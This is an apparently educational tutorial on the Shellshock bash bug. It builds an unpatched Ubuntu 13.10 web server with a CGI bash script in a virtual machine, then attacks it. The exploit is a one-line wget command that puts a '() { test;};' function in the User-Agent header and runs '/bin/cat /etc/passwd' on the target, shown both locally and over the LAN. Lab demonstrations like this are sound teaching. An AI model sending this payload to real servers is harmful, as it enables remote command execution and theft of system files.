Shell shock

Shell shock is a bug in the bash shell that has been present for about 25 years and has been made public in September 2014.  Of course, by now, most systems have been patched, but one has to realize that this is only one of the many vulnerabilities that are lying around in modern software systems.  It is true that the Shell shock bug is spectacular in the sense that it has existed for so long, and is so very exploitable.

I propose to illustrate it by setting up a simple web server on a very standard platform, and to show how easy it is to abuse it.  In fact, the hardest part will not be to abuse it, but to set up the web server !

One needs some familiarity with the unix shell environment, and the hardest part is probably to master the standard unix/linux shell editor vi (or its moderner version vim).  Happily, in most cases, one can use the much more userfriendly "nano" editor.   This is actually the case for ubuntu 13.10 server edition which we will use.

An old ubuntu server installation in a virtual machine as victim

The idea is to install an old Ubuntu server edition system in a virtual machine.  I propose to use VirtualBox which can be installed on different host systems.  Install VirtualBox on your host machine (whether it is a windows, mac, or linux box should in principle not make a difference). 

Download the 13.10 server version of Ubuntu.  In fact you can also download the desktop version, but that is much heavier, and serves no purpose.  Create a new virtual machine in Virtual Box, and install the downloaded ubuntu system in it.  4 GB should be sufficient as virtual disk space, and 600 MB is sufficient (for the server) as RAM.  We propose the 13.10 version of Ubuntu, because it is the most recent version that was not supported any more when the shell shock bug became known, so it has not been patched (the 13.10 version had only 9 months of support, and was superseded by the 14.4 LTS version which has 5 years of support).  During the installation, one should indicate that it should work as a web server.  

I took the 32-bit version of the server, but probably this works just as well with the 64 bit version.  Download the iso install disk and save it somewhere on your machine.

Create a new virtual machine on VirtualBox, an Ubuntu-32 bit system, create a new virtual disk, and leave everything default (except that you can diminish the disk size down to 4 GB if you want to).  When the (empty) new machine is ready, start it: you will be prompted for an install disk.  Choose the downloaded iso file containing the ubuntu 13.10 server installer.

Pick a default language, and pick the default installation.  Pick defaults for installer language, region, and say pick your keyboard layout (manually, or selected automatically).

Give your machine a name: we propose ubuntu-13-10-srv.

Pick a user name: we propose entropx, take the same name for the full name.

Pick a password.  We take chaos1  (confirm weak password, we don't care here)

Don't encrypt the disk.

For the partitioning, take "use entire disk" (without LVM)

Select : write changes to disk.

Enter eventual proxy information, although network access is not really necessary during installation.

Select: no automatic updates.  (very important !)

Next, you can select what you want as server service, but LAMP server should be in it.  For future games, it is also fun to install the first 5 options (DNS, mail, ...)

Pick chaos1 as a database password, and select "no configuration" for the mail server.

Say yes to the grub boot loader.

The machine should boot now, installation is ready.  Once the machine is installed, and rebooted, you can log in with the user name and the password you provided during installation.

Note: when stopping the machine (from the "file" menu of the virtual machine) be sure to select "power off" and not "save state".

Configuring the web server

There is one nasty point which has to be resolved immediately, and that is that the standard software repositories of this version of Ubuntu have migrated, and the system won't find its repositories any more.  This is why it is necessary to edit (with nano !) the following file:

sudo nano /etc/apt/sources.list

In this file, one has to replace everywhere "us.archive" by "old-releases" in the server URLs.

Next, one needs to update the repository cache:

sudo apt-get update

Normally, apache2 is already installed.  But one needs to install the cgi support:

sudo apt-get install libapache2-mod-perl2

Next, one needs to configure the apache web server.

The first thing to do is to add a line in the file

sudo nano /etc/apache2/apache2.conf

One has to edit this file, and add the line:

ServerName localhost

to it.

Next, one has to edit the file:

sudo nano /etc/apache2/sites-available/000-default.conf

and one has to add the following block to it, between the two <VirtualHost > tokens;

ScriptAlias /cgi-bin/ /var/www/cgi/
<Directory "/var/www/cgi/">
Options +ExecCGI
AddHandler cgi-script cgi pl sh
</Directory>

One also has to uncomment the line that starts with Include conf-available.... towards the end of the file.

One has to create a directory under /var/www which will be the cgi script directory:

cd /var/www
sudo mkdir cgi

And then one needs to create a bash script in this directory:

cd /var/www/cgi
sudo nano mybash.sh

In this file, one should write the following:

#!/bin/bash
echo "Content-type: text/plain"
echo 
echo
echo "This is a test!"

Next, one has to activate the cgi service:

sudo a2enmod cgi
sudo service apache2 restart

We can now illustrate the attack on the machine simply from the machine itself (which somehow sounds silly, but it illustrates the concept).

The attack locally

We type the command:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http:localhost/cgi-bin/mybash.sh

This is a command that writes to a local file what has been fetched from a web server.  Due to the shell shock vulnerability, instead of executing the script "mybash.sh" and hence sending back something that is "This is a test!", the function prescription that follows the -U option (and which normally sets an environment variable "user-agent") gets executed, which comes  down to executing the command:

/bin/cat /etc/passwd

on the server machine.

The attack on the network

Of course, this doesn't sound like a big deal, because we did this on the very same machine.

If we change the virtual machine setting "network" which is default NAT, to Bridged, then our virtual machine, after reboot, will appear on the local network.  It might be necessary to tweak the networking settings on the machine.

sudo ip link set dev eth0 down
sudo dhclient eth0

can be necessary to configure the eth0 correctly with the dhcp server on your local network (which is supposed to be there).

When this works, one can type:

ifconfig

and from the information next to the eth0 network interface, one can find the local IP address that has been assigned to the virtual machine.  For instance, in my case, it was 192.168.0.34

Now, on any machine on your local network which has the wget command (any linux system will do so), you can run:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http:192.168.0.34/cgi-bin/mybash.sh

and you will execute the command and download the result of the command in a local file.

If you don't have another linux machine on your local network running linux, you can install another ubuntu server in a virtual machine on any other machine and execute the wget command from there.

Note that one could put much nastier commands in the instruction than "/bin/cat /etc/passwd".  Any shell command will do!

In as much as the machine would be on the internet, and not just on your local network, one could do this from any place in the world.  For a web server, it is quite normal to be directly accessible by the whole internet.  We would like to point out that most of the work done here, was in setting up a vulnerable web server.  The actual attack is a single line: the wget command.

Before you get enthusiastic and go around all kinds of web servers trying whether the attack works, note that your requests will be logged, and that the attack is now well-known, and probably it will trigger an alarm.  Don't be surprised to get a visit from law enforcement after a few days of trying to exploit web sites all over the country....

Conclusion

In order for this attack to succeed, one needs:

  1. a vulnerable linux machine (there have been for the 25 years between 1989 and 2014)
  2. a web server like apache, with cgi enabled
  3. any bash shell script in the cgi range

As an attacker, one needs to know the IP address of the vulnerable server, and the name of the bash shell script.  An attacker should also know that he's logged and can be traced when doing so.  Maybe he doesn't care.

Of course, now that the vulnerability is made public, and the bash shell code has been patched, this attack has lost a lot of its power.  But during 25 years it was there.  Maybe nobody knew...  maybe some knew.